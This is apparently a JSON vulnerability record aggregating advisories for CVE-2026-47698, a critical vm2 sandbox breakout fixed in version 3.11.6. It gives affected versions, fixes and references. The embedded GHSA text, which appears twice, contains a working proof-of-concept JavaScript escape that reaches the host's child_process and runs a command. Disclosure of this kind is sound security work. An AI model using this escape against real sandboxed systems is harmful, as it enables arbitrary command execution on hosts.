{"id":"CVE-2026-47698","aliases":["CLSA-2026-1787860907","EUVD-2026-60459","GHSA-2cm2-m3w5-gp2f","GHSA-cfcw-xp6x-25gj","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-47698"],"status":"published","title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00971,"percentile":0.62152,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-913"],"published":"2026-08-17T17:32:41Z","modified":"2026-10-28T02:30:33Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.6"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.9.17-aikido.13","3.10.5-aikido.7","3.9.7-aikido.5","3.9.19-aikido.1","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.9.17-root.io.13","3.10.5-root.io.7","3.9.7-root.io.5","3.9.19-root.io.1","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.5"},{"fixed":"3.11.6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.19-aikido.1"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.19-root.io.1"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-cfcw-xp6x-25gj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47698.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47698","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47698","title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T20:53:09.218Z","modified":"2026-08-19T03:56:02.855Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T13:36:40.478484Z"}],"euvd":[{"id":"EUVD-2026-60459","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T20:53:09Z","modified":"2026-08-19T03:56:02Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:01:45.709762Z"}],"ghsa":[{"id":"GHSA-cfcw-xp6x-25gj","title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","status":"published","published":"2026-08-17T17:32:41Z","modified":"2026-08-30T15:06:39Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:41:08.084849Z"}],"nvd":[{"id":"CVE-2026-47698","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T21:16:45.64Z","modified":"2026-10-23T16:10:00.313Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T14:12:38.647684Z"}],"osv":[{"id":"CVE-2026-47698","title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","status":"published","published":"2026-08-17T20:53:09.218Z","modified":"2026-10-28T02:30:33.042046874Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-cfcw-xp6x-25gj","title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","status":"published","published":"2026-08-17T17:32:41Z","modified":"2026-08-17T17:56:03.510751Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-913"],"updated_at":"2026-11-02T15:46:44.927642Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"ROOT-APP-NPM-CVE-2026-47698","title":"CVE-2026-47698 in vm2 - Patched by Root","description":"Root has patched CVE-2026-47698 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:26.409643791Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}